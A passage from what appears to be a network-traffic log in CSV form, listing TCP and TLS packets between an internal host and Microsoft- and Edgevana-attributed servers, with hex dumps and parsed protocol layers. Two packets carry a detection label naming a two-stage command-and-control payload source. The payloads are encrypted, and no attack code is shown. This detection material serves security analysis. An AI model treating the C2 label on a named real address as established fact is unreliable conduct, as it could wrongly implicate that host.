f8\\\\x18\\\\x9aY\\\\x12\\\\xa9@\\\\xd6<\\\\x0c\\\\x05\\\\'x\\\\xd88\\\\x1aK\\\\x06&\\\\x93D\\\\x1f\\\\xf3\\\\x12Hni\\\\x96-\\\\x8d\\\\xb8\\\\x99iD\\\\xf0\\\\xf4\\\\xf1\\\\x0b\\\\xcek:\\\\x1a<\\\\x80\\\\xa9\\\\t5T\\\\xa1\\\\xa5\\\\x0e\\\\xf2\\\\xc2\\\\x0c.AZ\\\\xe1\\\\x83\\\\xc6\\\\x85\\\\x80\\\\xab.\\\\xbe\\\\x06\\\\xe4\\\\xd0K\\\\x9a\\\\xb2\\\\xd0\\\\xe9m\\\\xfcWj\\\\xd9\\\\xab?2\\\\xe5\\\\x97$ \\\\x80g\\\\x9a\\\\xe8\\\\xd5\\\\x8f\\\\xb0k\\\\x00M\\\"\"F\\\\xd6S*\\\\xe7\\\\xab\\\\xe4\\\\xfdtn>\\\\xf7a\\\\xb6\\\\x08\\\\x12\\\\xdb\\\\n\\\\xdc\\\\xfa\\\\x8b\\\\xe5d\\\\xc6\\\\xca\\\\xa8\\\\xfb|\\\\x06\\\\x1a\\\\xca\\\\xe4D\\\\x8e\\\\xef\\\\xb0\\\\xfbf\\\\x9f\\\\xe0\\\\xd2x\\\\x05\\\\xf5\\\\xa8\\\\xfc\\\\xb2\\\\xd6\\\\x91$\\\\x80\\\\xdf0>\\\\x02A?>\\\\xb1\\\\xf5@:\\\\x08u\\\\xd4\\\\x98NY\\\\x16(\\\\xf2\\\\xe7n\\\\xdfe\\\\x12+\\\\x9a\\\\x10S\\\\x17\\\\xe2\\\\x1cj\\\\xde#x8\\\\xdc=m\\\\x80\\\\xb5LSr\\\\x10\\\\xf9\\\\x05\\\\xd9J\\\\x82\\\\xa7\\\\xa4\\\\x7f\\\\xc1e\\\\xba\\\\xf61\\\\x88\\\\x9b8\\\\xd4D\\\\\\\\\\\\x95\\\\x9d&\\\\xc4\\\\xf3\\\\xa2\\\\xceurf\\\\x17\\\\xd4\\\\x06\\\\xef\\\\xf6\\\\xe1\\\\xb9{\\\\x95\\\\xd4\\\\xc4\\\\xb6\\\\xd8\\\\xdd\\\\xd4<B\\\\\\\\y\\\\xb15\\\\xef\\\\xda\\\\xa1m<\\\\xfb\\\\xc0=\\\\xba\\\\x0eE\\\\xd5\\\\x8a\\\\xc2' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-06-14 14:16:54.604328,115,TCP 10.152.152.11:64005 -> 40.98.16.61:443,10.152.152.11,40.98.16.61,64005,443,TCP,Internal,Private Network,,,,,,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,40.98.16.0/23,A,,,Ether > IP > TCP,3,TCP A Seq=4093516830 Ack=2259389955,bc24112907bbbc2411360d0c080045000028f1f2400080062d9b0a98980b2862103dfa0501bbf3fe1c1e86ab8e03501003fdb0080000,\".$.)...$.6\n...E..(..@...-.\n...(b.=............P.......\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 61938, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 11675, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"40.98.16.61\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64005, \"\"dport\"\": 443, \"\"seq\"\": 4093516830, \"\"ack\"\": 2259389955, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 1021, \"\"chksum\"\": 45064, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-14 14:16:54.605854,116,TCP 10.152.152.11:64005 -> 40.98.16.61:443,10.152.152.11,40.98.16.61,64005,443,TCP,Internal,Private Network,,,,,,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,40.98.16.0/23,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=4093516830 Ack=2259389955,bc24112907bbbc2411360d0c08004500006ef1f3400080062d540a98980b2862103dfa0501bbf3fe1c1e86ab8e03501803fd034400001703030041000000000000000552a9fff2d89751399abb2e52ebbd873e56cd418e631313e871e9f071a56c8aae104f487ad5543e5833437adde22e15fc1d740ed9a8f1c00571,\".$.)...$.6\n...E..n..@...-T\n...(b.=............P....D......A........R.....Q9...R...>V.A.c...q..q.l...OHz.T>X3Cz......t......q\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 110, \"\"id\"\": 61939, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 11604, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"40.98.16.61\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64005, \"\"dport\"\": 443, \"\"seq\"\": 4093516830, \"\"ack\"\": 2259389955, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1021, \"\"chksum\"\": 836, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 65, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b'\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x05R\\\\xa9\\\\xff\\\\xf2\\\\xd8\\\\x97Q9\\\\x9a\\\\xbb.R\\\\xeb\\\\xbd\\\\x87>V\\\\xcdA\\\\x8ec\\\\x13\\\\x13\\\\xe8q\\\\xe9\\\\xf0q\\\\xa5l\\\\x8a\\\\xae\\\\x10OHz\\\\xd5T>X3Cz\\\\xdd\\\\xe2.\\\\x15\\\\xfc\\\\x1dt\\\\x0e\\\\xd9\\\\xa8\\\\xf1\\\\xc0\\\\x05q' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-06-14 14:16:54.605866,117,TCP 40.98.16.61:443 -> 10.152.152.11:64005,40.98.16.61,10.152.152.11,443,64005,TCP,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,40.98.16.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=2259389955 Ack=4093516900,bc2411360d0cbc24112907bb0800450000285e6b4000400601232862103d0a98980b01bbfa0586ab8e03f3fe1c645010003fdb5c0000,\".$.6\n..$.)....E..(^k@.@..#(b.=\n..............dP..?.\\..\",[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 24171, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 291, \"\"src\"\": \"\"40.98.16.61\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 64005, \"\"seq\"\": 2259389955, \"\"ack\"\": 4093516900, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 56156, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-14 14:16:54.956823,118,TCP 40.98.16.61:443 -> 10.152.152.11:64005,40.98.16.61,10.152.152.11,443,64005,TCP,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,40.98.16.0/23,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=2259389955 Ack=4093516900,bc2411360d0cbc24112907bb08004500029d5e6c40004006feac2862103d0a98980b01bbfa0586ab8e03f3fe1c645018003fddd10000170303027000000000000000074e6bc9451ceae30d54dadccd4f0dbc86cbd25a8cd90c0f981be762c00d64442d22e00f931f75ca019a7bd8609f2315269e7f9771f309c4f1a73396a9ab6a7a7a365a990dfccfdab0ae18fc49920b4721f23b145bc0e59c5cec5d1dbcad9111fb673e016ab74ecba80247ef1a01e7695d64186b6fb0efc4f7d06adf851f9d3a866c54da155267e0c3ff73a46dc0f825659d69a3bdd4205754261682f1e8d01feed95e62e74d8f3146b150ed4ac0f0ebdd5d217ca7a60d2b7f58925c30195d70d8836ca15e31d6ed3e404a7e4b74d849169e1578b9dd7869ad4f340f8804f505b9aececf5ab18acb7b7fdcd24b82db9687599ff164e9d1662e3a12b87e0fc126099b5b7c2298dfee5f755b5254902d6ef3f58686599159b0d9fac808677a74275e5c24ad1a7c08f409ff60a3a8bcaed7a75e17efb030257aa55b00299af011ecd55c82a6b7cac9ec329b953b35ea2f8085d0f62e32f6e6f74aeaa6f3871780a5208641eeb42ea126a4a7e3ecc3df24701da0c820470576ea7283986e839f988ab4285761c9e123833fcfc556aff2eddb787e02baa49505fafba38e073e9d0169604cfa876ec37213398e41d61e82a9c1760b7199a993ea451c04c7a9c75c22fb45d71032045be1452f7358e6f72874b7d7e916e69bc442e71ed70abfc27a784b349adc2541f79c550599d07ae77976735d96d75e50d9eceab01451017c278ac97ba560e138ee3145b2a6b411a0ab8b9be995514b5d492e9c147fdb0b9033bea6d7983b4628b1247937d2351ad74e30030166175eb780b4d2bfc984927695faf028c01e7aab804afbf20b2dfbacf2ef41e439620420952576df1e8ef75c87861e3c4d6b8e88b5d60b8a,\".$.6\n..$.)....E...^l@.@...(b.=\n..............dP..?........p........Nk.E...\nT...O\n....Z.......b.\ndD-\"\"....u...{.`.#.&...q.\t...3...jzz6Z.\n.......I..G!.;.[...\\.]......g>.j.N...G....i]d.ko.....j....:.lT..Rg...s.m..%e.i... WT&........^b.M.1F.P.J....]!|..\n+.X.\\0.]p..l.^1..>@J~Kt.I...x..xi.O4.........Z...{...K....Y..d..f.:..~..&\t.[|\"\"..._u[RT.-n....Y.Y.....gzt'^\\$..|..\t.`......^...0%z.[.).....\\......2..;5./.....2...J....... .A....&......$p... G.v.r..n.....(Wa..#.?..V....x~..........>..i`L..n.r.9.A.....v.q....E.....\\\"\".E..2.[.E/sX..(t.......B...\n..zxK4..%A..U...z.yvs]..^P.....Q.|'..{.`.8.1E..........QK]I.......3....;F(.$y7.5..N0..f.^........v...(..z..J...-....A.9b. .%v....\\...<Mk......\",[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 669, \"\"id\"\": 24172, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 65196, \"\"src\"\": \"\"40.98.16.61\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 64005, \"\"seq\"\": 2259389955, \"\"ack\"\": 4093516900, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 63, \"\"chksum\"\": 56785, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 624, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b'\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x07Nk\\\\xc9E\\\\x1c\\\\xea\\\\xe3\\\\rT\\\\xda\\\\xdc\\\\xcdO\\\\r\\\\xbc\\\\x86\\\\xcb\\\\xd2Z\\\\x8c\\\\xd9\\\\x0c\\\\x0f\\\\x98\\\\x1b\\\\xe7b\\\\xc0\\\\rdD-\\\"\"\\\\xe0\\\\x0f\\\\x93\\\\x1fu\\\\xca\\\\x01\\\\x9a{\\\\xd8`\\\\x9f#\\\\x15&\\\\x9e\\\\x7f\\\\x97q\\\\xf3\\\\t\\\\xc4\\\\xf1\\\\xa73\\\\x96\\\\xa9\\\\xabjzz6Z\\\\x99\\\\r\\\\xfc\\\\xcf\\\\xda\\\\xb0\\\\xae\\\\x18\\\\xfcI\\\\x92\\\\x0bG!\\\\xf2;\\\\x14[\\\\xc0\\\\xe5\\\\x9c\\\\\\\\\\\\xec]\\\\x1d\\\\xbc\\\\xad\\\\x91\\\\x11\\\\xfbg>\\\\x01j\\\\xb7N\\\\xcb\\\\xa8\\\\x02G\\\\xef\\\\x1a\\\\x01\\\\xe7i]d\\\\x18ko\\\\xb0\\\\xef\\\\xc4\\\\xf7\\\\xd0j\\\\xdf\\\\x85\\\\x1f\\\\x9d:\\\\x86lT\\\\xda\\\\x15Rg\\\\xe0\\\\xc3\\\\xffs\\\\xa4m\\\\xc0\\\\xf8%e\\\\x9di\\\\xa3\\\\xbd\\\\xd4 WT&\\\\x16\\\\x82\\\\xf1\\\\xe8\\\\xd0\\\\x1f\\\\xee\\\\xd9^b\\\\xe7M\\\\x8f1F\\\\xb1P\\\\xedJ\\\\xc0\\\\xf0\\\\xeb\\\\xdd]!|\\\\xa7\\\\xa6\\\\r+\\\\x7fX\\\\x92\\\\\\\\0\\\\x19]p\\\\xd8\\\\x83l\\\\xa1^1\\\\xd6\\\\xed>@J~Kt\\\\xd8I\\\\x16\\\\x9e\\\\x15x\\\\xb9\\\\xddxi\\\\xadO4\\\\x0f\\\\x88\\\\x04\\\\xf5\\\\x05\\\\xb9\\\\xae\\\\xce\\\\xcfZ\\\\xb1\\\\x8a\\\\xcb{\\\\x7f\\\\xdc\\\\xd2K\\\\x82\\\\xdb\\\\x96\\\\x87Y\\\\x9f\\\\xf1d\\\\xe9\\\\xd1f.:\\\\x12\\\\xb8~\\\\x0f\\\\xc1&\\\\t\\\\x9b[|\\\"\"\\\\x98\\\\xdf\\\\xee_u[RT\\\\x90-n\\\\xf3\\\\xf5\\\\x86\\\\x86Y\\\\x91Y\\\\xb0\\\\xd9\\\\xfa\\\\xc8\\\\x08gzt\\\\'^\\\\\\\\$\\\\xad\\\\x1a|\\\\x08\\\\xf4\\\\t\\\\xff`\\\\xa3\\\\xa8\\\\xbc\\\\xae\\\\xd7\\\\xa7^\\\\x17\\\\xef\\\\xb00%z\\\\xa5[\\\\x00)\\\\x9a\\\\xf0\\\\x11\\\\xec\\\\xd5\\\\\\\\\\\\x82\\\\xa6\\\\xb7\\\\xca\\\\xc9\\\\xec2\\\\x9b\\\\x95;5\\\\xea/\\\\x80\\\\x85\\\\xd0\\\\xf6.2\\\\xf6\\\\xe6\\\\xf7J\\\\xea\\\\xa6\\\\xf3\\\\x87\\\\x17\\\\x80\\\\xa5 \\\\x86A\\\\xee\\\\xb4.\\\\xa1&\\\\xa4\\\\xa7\\\\xe3\\\\xec\\\\xc3\\\\xdf$p\\\\x1d\\\\xa0\\\\xc8 G\\\\x05v\\\\xear\\\\x83\\\\x98n\\\\x83\\\\x9f\\\\x98\\\\x8a\\\\xb4(Wa\\\\xc9\\\\xe1#\\\\x83?\\\\xcf\\\\xc5V\\\\xaf\\\\xf2\\\\xed\\\\xdbx~\\\\x02\\\\xba\\\\xa4\\\\x95\\\\x05\\\\xfa\\\\xfb\\\\xa3\\\\x8e\\\\x07>\\\\x9d\\\\x01i`L\\\\xfa\\\\x87n\\\\xc3r\\\\x139\\\\x8eA\\\\xd6\\\\x1e\\\\x82\\\\xa9\\\\xc1v\\\\x0bq\\\\x99\\\\xa9\\\\x93\\\\xeaE\\\\x1c\\\\x04\\\\xc7\\\\xa9\\\\xc7\\\\\\\\\\\"\"\\\\xfbE\\\\xd7\\\\x102\\\\x04[\\\\xe1E/sX\\\\xe6\\\\xf7(t\\\\xb7\\\\xd7\\\\xe9\\\\x16\\\\xe6\\\\x9b\\\\xc4B\\\\xe7\\\\x1e\\\\xd7\\\\n\\\\xbf\\\\xc2zxK4\\\\x9a\\\\xdc%A\\\\xf7\\\\x9cU\\\\x05\\\\x99\\\\xd0z\\\\xe7yvs]\\\\x96\\\\xd7^P\\\\xd9\\\\xec\\\\xea\\\\xb0\\\\x14Q\\\\x01|\\\\'\\\\x8a\\\\xc9{\\\\xa5`\\\\xe18\\\\xee1E\\\\xb2\\\\xa6\\\\xb4\\\\x11\\\\xa0\\\\xab\\\\x8b\\\\x9b\\\\xe9\\\\x95QK]I.\\\\x9c\\\\x14\\\\x7f\\\\xdb\\\\x0b\\\\x903\\\\xbe\\\\xa6\\\\xd7\\\\x98;F(\\\\xb1$y7\\\\xd25\\\\x1a\\\\xd7N0\\\\x03\\\\x01f\\\\x17^\\\\xb7\\\\x80\\\\xb4\\\\xd2\\\\xbf\\\\xc9\\\\x84\\\\x92v\\\\x95\\\\xfa\\\\xf0(\\\\xc0\\\\x1ez\\\\xab\\\\x80J\\\\xfb\\\\xf2\\\\x0b-\\\\xfb\\\\xac\\\\xf2\\\\xefA\\\\xe49b\\\\x04 \\\\x95%v\\\\xdf\\\\x1e\\\\x8e\\\\xf7\\\\\\\\\\\\x87\\\\x86\\\\x1e<Mk\\\\x8e\\\\x88\\\\xb5\\\\xd6\\\\x0b\\\\x8a' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-06-14 14:16:54.957005,119,TCP 10.152.152.11:64005 -> 40.98.16.61:443,10.152.152.11,40.98.16.61,64005,443,TCP,Internal,Private Network,,,,,,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,40.98.16.0/23,A,,,Ether > IP > TCP,3,TCP A Seq=4093516900 Ack=2259390584,bc24112907bbbc2411360d0c080045000028f1f4400080062d990a98980b2862103dfa0501bbf3fe1c6486ab9078501003faad500000,\".$.)...$.6\n...E..(..@...-.\n...(b.=.......d...xP....P..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 61940, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 11673, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"40.98.16.61\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64005, \"\"dport\"\": 443, \"\"seq\"\": 4093516900, \"\"ack\"\": 2259390584, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 1018, \"\"chksum\"\": 44368, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-14 14:16:54.963156,120,TCP 10.152.152.11:64005 -> 40.98.16.61:443,10.152.152.11,40.98.16.61,64005,443,TCP,Internal,Private Network,,,,,,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,40.98.16.0/23,RA,,,Ether > IP > TCP,3,TCP RA Seq=4093516900 Ack=2259390584,bc24112907bbbc2411360d0c080045000028f1f5400080062d980a98980b2862103dfa0501bbf3fe1c6486ab907850140000b1460000,\".$.)...$.6\n...E..(..@...-.\n...(b.=.......d...xP....F..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 61941, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 11672, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"40.98.16.61\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64005, \"\"dport\"\": 443, \"\"seq\"\": 4093516900, \"\"ack\"\": 2259390584, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"RA\"\", \"\"window\"\": 0, \"\"chksum\"\": 45382, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-14 14:16:54.963969,121,TCP 10.152.152.11:63966 -> 40.104.62.178:443,10.152.152.11,40.104.62.178,63966,443,TCP,Internal,Private Network,,,,,,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,40.104.62.0/24,RA,,,Ether > IP > TCP,3,TCP RA Seq=507096364 Ack=251467955,bc24112907bbbc2411360d0c080045000028968c400080065a860a98980b28683eb2f9de01bb1e39ad2c0efd18b350140000b7630000,\".$.)...$.6\n...E..(..@...Z.\n...(h>......9.,....P....c..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 38540, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 23174, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"40.104.62.178\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 63966, \"\"dport\"\": 443, \"\"seq\"\": 507096364, \"\"ack\"\": 251467955, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"RA\"\", \"\"window\"\": 0, \"\"chksum\"\": 46947, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-14 14:16:54.964237,122,TCP 10.152.152.11:63993 -> 40.98.16.61:443,10.152.152.11,40.98.16.61,63993,443,TCP,Internal,Private Network,,,,,,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,40.98.16.0/23,RA,,,Ether > IP > TCP,3,TCP RA Seq=1686838924 Ack=3062738616,bc24112907bbbc2411360d0c080045000028f1f6400080062d970a98980b2862103df9f901bb648b1e8cb68daeb850140000f07b0000,\".$.)...$.6\n...E..(..@...-.\n...(b.=....d.......P....{..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 61942, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 11671, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"40.98.16.61\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 63993, \"\"dport\"\": 443, \"\"seq\"\": 1686838924, \"\"ack\"\": 3062738616, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"RA\"\", \"\"window\"\": 0, \"\"chksum\"\": 61563, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-14 14:16:55.807114,123,TCP 10.152.152.11:64008 -> 194.36.32.209:80,10.152.152.11,194.36.32.209,64008,80,TCP,Internal,Private Network,,,,,,United States,Unknown,215724,\"Edgevana, Inc.\",37.751,-97.822,194.36.32.0/23,S,,,Ether > IP > TCP,3,TCP S Seq=1449574496 Ack=0,bc24112907bbbc2411360d0c080045000034ef474000800685e30a98980bc22420d1fa0800505666c060000000008002faf0dd660000020405b40103030801010402,\".$.)...$.6\n...E..4.G@.....\n....$ ....PVf.`.........f..............\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 61255, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 34275, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"194.36.32.209\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64008, \"\"dport\"\": 80, \"\"seq\"\": 1449574496, \"\"ack\"\": 0, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"S\"\", \"\"window\"\": 64240, \"\"chksum\"\": 56678, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('MSS', 1460), ('NOP', None), ('WScale', 8), ('NOP', None), ('NOP', None), ('SAckOK', b'')]\"\"}}]\"\n2026-06-14 14:16:55.807150,124,TCP 194.36.32.209:80 -> 10.152.152.11:64008,194.36.32.209,10.152.152.11,80,64008,TCP,United States,Unknown,215724,\"Edgevana, Inc.\",37.751,-97.822,194.36.32.0/23,Internal,Private Network,,,,,,SA,,,Ether > IP > TCP,3,TCP SA Seq=1283517345 Ack=1449574497,bc2411360d0cbc24112907bb080045000034000040004006b52bc22420d10a98980b0050fa084c80eba15666c0618012faf085bf0000020405b4010104020103030a,\".$.6\n..$.)....E..4..@.@..+.$ .\n....P..L...Vf.a...................\n\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 0, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 46379, \"\"src\"\": \"\"194.36.32.209\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 80, \"\"dport\"\": 64008, \"\"seq\"\": 1283517345, \"\"ack\"\": 1449574497, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"SA\"\", \"\"window\"\": 64240, \"\"chksum\"\": 34239, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('MSS', 1460), ('NOP', None), ('NOP', None), ('SAckOK', b''), ('NOP', None), ('WScale', 10)]\"\"}}]\"\n2026-06-14 14:16:55.807439,125,TCP 10.152.152.11:64008 -> 194.36.32.209:80,10.152.152.11,194.36.32.209,64008,80,TCP,Internal,Private Network,,,,,,United States,Unknown,215724,\"Edgevana, Inc.\",37.751,-97.822,194.36.32.0/23,A,,,Ether > IP > TCP,3,TCP A Seq=1449574497 Ack=1283517346,bc24112907bbbc2411360d0c080045000028ef484000800685ee0a98980bc22420d1fa0800505666c0614c80eba250102014c0e30000,\".$.)...$.6\n...E..(.H@.....\n....$ ....PVf.aL...P. .....\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": 